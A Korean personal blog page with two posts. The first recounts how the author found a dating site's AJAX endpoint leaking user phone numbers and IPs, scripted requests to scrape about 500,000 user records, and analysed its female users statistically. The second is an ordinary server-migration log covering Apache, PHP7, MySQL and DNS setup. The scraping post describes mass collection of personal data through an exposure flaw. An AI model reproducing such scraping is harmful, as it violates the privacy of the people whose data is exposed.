2016/02/10 11:37 2016/02/10 11:37
페이스북.
속칭 따봉책이라고 불리는 요건 이미 친구들 소식지가 아니라 광활한 스팸더미이다.
광고는 짬툰, 탑툰 등 만화도 많지만 만남을 주선하는 앱/사이트 광고도 많이 올라오는데, 왜인진 잘 모르겠지만 사랑과전쟁이라는 사이트에 들어가보고 인증까지 받아보게 되었다.



이렇게 생긴사이트다.
소셜 데이팅이라고 되있는데 광고로 인해 들어가게 되면 뭐 은밀한 만남을 할 자격이 있다.. 어쩌고 하는데, 물음에 다 NO로 해도 준비가 된 사람이라고 가입을 시켜주는 아주 친절한 사이트라고 할 수 있다. 주소는 위에 있으니 따로 명시하지 않는다.


사이트는 Apache/PHP 기반이며 호스팅을 땡겨쓰는것 같기도하고 (최상위 경로가 public_html이다)
알고 싶어 안게 아니라 메뉴를 잘못치면 include 에러로 친절하게 알려준다. 요 글은 애시당초 해킹같은걸 한게 아님을 미리 알려둔다.

리스트에서 수많은 여성들을 만나 볼 수 있었는데 페이지가 쉬지않고 계속 리프레쉬된다.
콘솔로그를 보니까 쉴새없이 POST를 보내고 받는 ajax통신을 하고 있었다.

사진은 채팅에 들어가면 보여준다는데, 나는 가난하기때문에 포인트를 충전해보진 못해서 여성분들과 대화를 나눌 순 없었다.
그래서 어떻게 사진만 못 보나 해서 찾아보다가 유저 리스트를 요청하니 디테일한 유저의 정보를 알려주었다.
어느정도 디테일하느냐? 유저아이디/비밀번호/사진 빼고 다 알려준다.


{"result_code":0,"result_command":"OK","command":"TARGET_USER_INFO","callback":false,"target_user_info":[{"user_no":"[식별번호]","user_id":"","password":"","state":"1","partner_id":"[파트너번호]","partner_code":"auto","nick_name":"[닉네임]","sex":"[성별]","age":"[나이]","area_code1":"1","area_code2":"24","phone":[전화번호],"is_certify_phone":"f","is_recv_mail":"t","is_recv_sms":"t","is_recv_push":"t","charge_count":"0","charge_total":"0","left_point_view":"0","photo_count":"0","profile_count":"0","join_datetime":"","join_ip_addr":"[IP]","join_user_agent":"","login_datetime":"","login_ip_addr":"[IP]","login_user_agent":"","regid":null,"bad_level":"0","badge_level":"0","push_option":"1","gift_send_count":"0","gift_send_point":"0","gift_recv_count":"0","gift_recv_point":"0","is_cert_identity":"f","is_cert_videntity":"t","sex_kind_code":"8","sex_favorite_code":"0","height_code":"0","weight_code":"0","blood_code":"0","etiquette_code":"0","school_code":"0","job_code":"0","favorite_code":"0","meet_code":"0","chat_subject":"","datetime":""}],"user_point":"0"}


채팅해서 전화번호를 알려줘야 되는게 아닌가 싶었지만, 일반 사용자들은 요 반환값을 볼 수 가 없으니까 뭐 괜찮나 싶었다.
하지만, 너무 궁금해졌다. 여긴 도대체 몇명이나 되는 여성 유저가 가입되어있을까? 혹시 한명이 존나 많이 가입해놓고 속칭 알바를 써서 남자들 후리고 있는게 아닐까?

그래서 1월 29일 기준,
LOVEWAR에 가입되어 있는 50만명의 데이터를 모두 긁어보았다. (정상 리퀘스트를 통해 얻어낸 값이다.)
간단히 요약하자면 가입되어 있는 사용자는 약 46~7만명이며, 여성으로 등록된 사람은 2만 2천여명이다. (남여성비가 정말...)

첫번째 의문으로 돌아가서 알바같은걸 쓰지 않나 싶어서, 여성 유저 검증에 나서기로 했다.
그렇다. 이 글은 사랑과 전쟁에 가입된 여성 유저 데이터를 파헤치는글이었던것이다.

코드

사용된 코드는 python으로 작성하였고, 브라우저로 세션을 맺어놓은 상태에서 돌렸다.
돌리기만했지 저장은 따로 안했음을 밝혀둔다. 원래는 코드가 있었으나 삭제했다. 그냥 단순히 GET을 때리는 코드여서 별 의미가 없고, 거기도 뭐.. 장사하는데니까 지장이 있을까봐..

파트너

먼저 놀랬던건 USERID 는 보여지지 않는데 파트너 아이디라는게 반환된다는것이다.
파트너 아이디가 뭔가 곰곰히 생각해보다가 뜨는거 여러개 검색해보고 결론을 얻은것은 이 DB를 공용으로 쓰고 있다는것이다
대표적으로 MATE, joyhunting 등의 아이디가 많이 떴는데 너무나 많이 겹치기때문에 다른 여지를 생각해볼 수가 없었다.

크고 작은 파트너 아이디는 약 208개가 도출되었다. 하지만 제일 많은것은 현재 보고 있는 LOVEWAR라는 아이디가 가장많았다. 2등은 약 2천여건정도..

나이

나이는 아주 다양했다. 최저령은 20세이며 최고령은 70세였다.
(아마 70세는 미성년자들이 궁금해서 할머니 핸드폰으로 인증하지 않은것인가 하지만..)
다음은 분포 표이다.

20 1188
21 2548
22 1306
23 1287
24 1308
25 1346
26 1186
27 957
28 827
29 776
30 654
31 728
32 472
33 536
34 474
35 467
36 593
37 416
38 409
39 415
40 405
41 526
42 295
43 349
44 328
45 292
46 517
47 226
48 247
49 255
50 223
51 300
52 127
53 125
54 106
55 74
56 121
57 44
58 54
59 48
60 44
61 26
62 7
63 11
64 3
65 3
66 7
67 4
68 4
69 26
70 32

21세가 가장 많고 56세가 뜬금없이 톡 튀어나온것 제외하면 젊은 나이쪽으로 편향되어 있음을 알 수 있다.
사실 좀 의외였다. 너무 젊은 층들이 이용하고 있나 싶었다.

전화번호

그 다음은 전화번호.
JSON을 보면 알겠지만 전화번호 인증이 된사람에게는 따로 't', 비인증자에게는 'f'라는 값으로 체크를 하고 있다.
희한할정도로 전화번호는 겹치지 않았는데, 아주 많이 겹치는게 하나 있었다.

'없음'이 만사천개나 된다는것이다.
총 22722명중 14714명만큼 전화번호가 등록되어 있지 않았다. 즉, 14714명은 허구의 유저일 수 있다는것이다.

아이피

궁금증이 생긴 나는 아이피를 조사해보기로 했다.
아이피도 조인/로그인 아이피를 아주 친절하게 반환해주고 있기때문에 겹치는게 있겠지 했는데 거의 겹치는게 없었다.
놀랄 노자... 그래서 C클래스만 따서 조회해보기로 했다.
겹치는 아이피가 상당 수 있었으나 프록시도 있는데다가, 통신사 아이피가 다수 있어 의미있는 데이터를 추출해내는건 실패했다.

사진

역시 사진이 궁금하다. default_photo 라는 컬럼이 있을 경우 사진을 추출하게 처리해봤다.
약 543장이 나왔다. 같은 사진은 한 5장정도 있던것 같다. 사진에 대해서는 별말 안하고싶다..

결론

사실 의미있는 결론같은건 없다. ajax 통신에 전화번호를 찍어준다는 어이없는 보안허점외에는 잘 감추고 있는 것 같다.
(아이피는 왜 알려주는지 잘 모르겠는데.. 어디 쓰나?)

단지 인증된 여성유저가 약 47만명 모든 유저중에 1.7%(약 8000여명)밖에 되지 않는다는것이다. 그중에서도 사진이 있는 사람은 500여명..
2만 2천여명으로 잡아도 매우 적은 수치임은 변하지 않는다.
그러므로 남자들은 이상한 사이버 세상말고 밖에서 찾아보는게 어떤가 조심스럽게 권해본다.
2016/01/31 23:24 2016/01/31 23:24
카페24 가상 서버(VPS)를 쓰고 있는데, 아무래도 쉐어드(Shared) 서버이다보니 자원을 공유하고 있고 내가 자원을 자꾸 드레인하고 있다는 말을 전달 받았다.
사실 말이 전달이지 먼저 차단하고 알아볼 수가 없게 해놓은 구조이다. 불평해도 개선을 안하니 몇마디 했더니 자꾸 이런식으로 서비스 하면 나가야된대서 짐싸겠다고 했다.

사실 무조건 내가 손해다. 카페24정도 규모에 딱 맞춰 서비스 하고 있었는데 별수가 있나. 서비스를 아홉시간씩 못하고 그러는데 (물론 그 시간에 엄청난 수익이 창출되진 않는다. 보통 주말 12시쯤에 맥시멈을 찍는거 같다). 하지만 서비스를 유지 못시켜준다는 협박을 듣고 어떻게 서비스를 하고 있나 무서워서. 결국 서버를 옮기기로 작정한김에, 옛날에 알아본대로 그냥 일사천리로 진행하기로 했다.

명령어들같은건 문제가 있었던 부분만 기재하였다

서버

내가 타겟팅 한 서버는 두개였다
하나는 통큰아이, 하나는 AWS 한국 리전 이었다
통큰아이는 옛날부터 보고 있었던거고 (반 임대식으로 서버 소유권을 나중에 주는 상품을 눈여겨 보고 있었는데 사라졌다), AWS는 이번에 한국에 리전이 생겨서 관심있었다.

친구에게 물어보니 AWS의 단점은 그냥.. 비싼거라고 했고 나머진 다 괜찮다고 했으나, 이왕 사는김에 완전히 독립된 서버를 확보 해놓자는 생각을 하게 됐다. 결국 통큰아이의 i7 서버를 구매. (제온을 하진 않았는데 제온도 괜찮을것 같다)

홈페이지가 좀 구식이라 신청도 힘들었다.
견적서 내는건 쉽지만 자동이체 문서를 내라는데 그냥 기타 라고만 나와있어서 문의를 하는 우여곡절까지..
자기 정보 관리에서 자동이체를 누르면 문서가 있다. 링크는 여기니까 헤매지말고 바로 결제할 수 있도록 하자.
(사실 좀 생소했던게 자동이체 관련해서 문서를 써서 메일이나 팩스로 줘야한다. 이런건 또 처음이라..)

문서를 보내주고, 돈을 입금하면 세팅에 들어가게 된다.
파티션을 LVM으로 하나처럼 해달라고 했는데 그건 어렵단다. (처음엔 해준다고 했는데 ㅠ_ㅠ)
세팅되면 문자로 안내가 오고, 메일로 아이디 비밀번호가 발송된다.
콘솔뿐이지만 가상서버와는 다른 아주 쾌적한 속도.. (사실 아무것도 없어서..

루트 패스워드를 바꿔주고 루트로 로그인하려니 루트 로그인이 안된다고 한다.
세팅하는데 대부분 루트권한이 필요하기때문에 요렇게 바꿔주고, 나중에 돌리기로 한다.

웹서버

PHP 서버를 돌리고 있으니 Apache를 하기로 한다. nginx 도 좋다곤 하지만 htaccess 설정을 새로 배우기 귀찮아서 그냥 Apache로 하기로 한다. 2.4.18 버전이 현재 나왔으나 Ubuntu 14.04 의 Apache는 2.4.7이 기본이다. 내 상식선에서 2.4.10에서 꽤 많은게 바뀌는걸로 아는데 아직도 2.4.7인걸보고 PPA를 사용하기로 한다.

PPA를 이용해 아파치를 깔았는데 http2를 지원해보고 싶어졌다.
대세라고 했는데, 이때까지만 해도 http2 가 반드시 SSL을 요구하는줄 몰랐다 -_-;
크롬으로 플러그인까지 깔아가면서 되나 확인했지만... 다들 나같은 삽질은 하지말길 바란다....
아파치로 http2를 지원하기위해선 mod_http2를 사용하면 되고, 이렇게 세팅해주면 된다.
다만 새 서버에 인증서가 없기때문에 어떻게 테스트는 못해봤다. 삽질만 실컷하다가 나중에 인증서는 LetsEncrypt를 사용하기로 생각하고 다시 세팅에 신경을 쓰기로 했다.

일반적으로 apt-get 으로 apache를 설치하게 되면 prefork 로 설치되기때문에 /etc/apache2/apache.conf에 서버 리밋을 잔뜩 늘려줬다.
 <IfModule prefork.c>
      StartServers 20
      MinSpareServers 100
      MaxSpareServers 100
      MaxClients 500
      ServerLimit 500
      MaxRequestsPerChild 0
 </IfModule>

PHP

다음은 PHP를 깔아줘야했다. 아시다시피, PHP7이 release 되었다
새 서버에서는 좀 삽질을 해도 PHP7을 써보고 싶었다. 그렇게 빨라졌다는데..
역시 같은 아저씨가 만든 PPA를 사용해서 설치했다. (memcached까지 같이 설치해줬다.)
설치는 apt-get install php7.0 이런식으로 해야하고, 부가적으로 php7.0-mysql / php7.0-dev(안깔면 phpize가 안된다)를 깔아줬다.
phpinfo()를 돌려보니 잘되는거보고 github에서 소스를 내려받아 돌려봤다. 될리가 없다...

문제는 두개로 생각했다.
하나는 redis, 하나는 mysql 인데.
redis는 phpredis 라이브러리를 사용하고 있었는데 양덕들이 phpredis-php7 브랜치를 만들어놓고 있었다.
똑같이 설치하고, php.ini 에 extension=redis.so 적어주는걸로 해결. 문제는 mysql이었다.

php7.0에서 mysql_connect와 같은 일반 mysql 함수를 모두 삭제해버린것이다...
PDO를 사용해서 prestmt를 진작 사용했어야했는데 귀찮음이 낳을 결과였다... 일단 당장 사용할수가 없게 되버렸기때문에...
서버 세팅을 잠깐 접어두고 모두 pdo로 고쳐야했다 ㅠㅠ... 욕을 얼마나 했는지... 귀찮다고 막 코딩하지 말자.............ㅠㅠ
만들면서 느낀점은 sql 을 처리하는 부분을 통일해서 처리해야겠다는것이다. 그리고 왜 프로시저를 쓰는지도 이제 이해했다... 빠른게 문제가 아니고, (거의 이런 대규모 수정은 일어나지 않겠지만) 수정할때 너무나 불편하기 때문이다........................

eregi 같은 패턴 검사도 deprecated에서 완전히 removed되었다. 꼼꼼히 참고 안하면 에러를 마주할 수 있다.

MYSQL

mysql은 처음엔 옮길생각이 없었는데 웹서버가 너무 빠르다보니 잦은 질의로 인해 DB서버가 죽을려고 해서 결국 옮기려는 계획을 세웠다. 다만 기존엔 5.6을 썼는데 이번엔 5.7로 세팅해보기로 했다. download 에 들어가면 각 운영체제 버전별로 deb를 받을 수 있게 되어 있는데 나는 ubuntu 14.04 이기때문에 요녀석을 받아 설치했다. 공식 PPA라고 생각하면 되겠다.
dbkg -i *.deb(mysql 5.7을 선택하고 Apply)
apt-get update
apt-get install mysql-server
하면 아주 간단하게 설치가 완료된다.  자세한 세팅은 알아서 하자.

덤프하는게 문제였는데, 옛날엔 replication을 구성해서 썼었으나 이젠 이원화되있던 서버를 불러들이고 가상서버를 정리해야하는 과정이었기때문에 어떻게 해야 최대한 서비스에 지장이 없을까 고민을 좀 했었다.
리얼타임으로 한 로우씩 불러와서 인서트 해주는 방법을 생각해봤는데 그냥 mysqldump를 이용하고 wget으로 sql을 불러와 넣는 방법을 생각했다. 나같은경우는 바로 데이터베이스 서버를 옮긴게 아니라서 서비스를 유지하고 있었다.
mysqldump -A -u{ID} -p > data.sql
wget {server}/data.sql
mysql -u{ID} -p < data.sql
약 7기가정도의 sql파일이 만들어졌고 이를 당겨와서 인서트했다.
물론 데이터 유입은 차단했다. 약 30분정도의 갭이 발생했으나 작업시간이 새벽 다섯시~여섯시쯤이라 거의 유실은 없었다.
이후에 웹서버가 바라보는 mysql 서버를 localhost로 수정해주는것으로 아주 쉽게 작업이 끝이났다.

mysqltuner를 이용해서 권장해주는 설정대로 세팅했다. 24시간이 걸리지만 일단은 그냥 설정했다. 추후에 설정하고..
다만 쿼리가 5.6에서 돌아가는것과 5.7에서 돌아가는게 조금 달라서 (정렬쪽에서) 이는 나중에 수정해주기로 했다.

nodejs

노드를 쓰기때문에 노드를 깔아줘야했다. 노드는 5.4.1이 현재 stable이고 lts로 4버전대가 형성되어 있다.
이왕하는김에 최신버전으로 도배를 하기로 했고 다음명령어를 통해 최신버전으로 깔아주었다. (관리는 npm이 편하다)
sudo npm cache clean -f
sudo npm install -g n
sudo n stable
sudo npm install forever
forever까지 설치해줘서 준비 끝!
(그 외 필요한 모듈은 그냥 npm에서 설치해준다.)

mysql 데이터를 connection pool 해서 사용하는데 이후에 수정해주었다.

crontab

크론 서비스들도 옮겨줘야했다. 꽤 많이 등록되있기때문에 까먹으면 안됐다.
나의 경우 crontab은 대부분 wget으로 어떤 페이지를 호출하는 역할을 많이 담당하기때문에 우선은 옛날서버에서 데이터를 다 받아와야했다. 주 서비스들은 당연히 git으로 관리되고 있지만 그외엔 ftp로 일일히 다받아야했다. 지져스 (당연히 메인소스 외의 기능들은 막아놔야했고 소스코드도 PDO로 고쳐야했다. 정말 후회막심이다..)

또한 옛날엔 파이썬을 몰라서 php로 크론을 작성했었는데, 파이썬이 제대로 돌아가는지 확인해야했다.
대표적으로, 파이썬을 막 설치해서 python-mysqldb 를 설치해줘야했다. (pip인줄알았다. 설치한지 너무 오래되서..)

DNS

이제 본격적인 삽질에 돌입할 차례이다.
호스팅업체들은 대부분 네임서버를 따로 두어 아주 쉽게 할 수 있으나 나는 서버가 그냥 박혀 있는 상태이기때문에 DNS를 제공하는 네임 서버도 내가 만들어야했다. 도메인은 내가 관리하고 있는게 아니라, 대신 질러준 펭귄 이 관리하고 있어서 같이 합을 맞추며 작업했다.

bind9를 설치하고, zone을 만들어줘야하는데 이 설정이 보통 귀찮은게 아니다
여러군데 많이 참고 했으나 가장 많이 참고한 DigitalOcean 의 글이 가장 도움되었던거 같다.
DNS 작업은 내가 잘한다고 바로 반영되는게 아니기때문에 약간 시간과의 싸움이다. 인내를 가지고 기다리자ㅠㅠ
그래도 DNS는 그나마 쉽게 적용되었다. 수없이 많은 ipconfig/flushdns 이후에 되는거보고 환호성을 지른것 같다. (잘 따라하면 된다..)

다만 나는 ip가 한개이기때문에 약간 제약이 있다.
네임서버는 (왠만하면) 두개의 아이피로 구성되어야한다. (ex, ns.fantazm.net / ns2.fantazm.net)
하지만 권장이지 반드시 따라야되는건 아니기때문에 알아만 놓자. 나같이 아이피가 딱 한개인사람은 별 수가 없다.

다만 MX가 정말 골치였는데 표기되는데 너무 아리송하게 표기되어서 고생했다
MX는 진짜 반영이 잘 안되는데, 여기서 시킨대로 설정하면 된다. 다만 alt1.l.google.com.@domain 이런식으로 뜨는데 실제로는 안붙여도 된다.
여전히 CNAME은 잘 안되고 있는데 큰 문제는 아니라 넘어가기로 했다. 여기서 시간을 어마어마하게 까먹었다...

우여곡절끝에 요렇게 서버 세팅이 마무리되었다.
자잘자잘한 문제는 알아서 수정하고, 큼지막한 줄기만 적어봤는데 누군가에겐 도움이 되길 바라며~
2016/01/19 16:41 2016/01/19 16:41

1 ... 18 19 20 21 22 23 24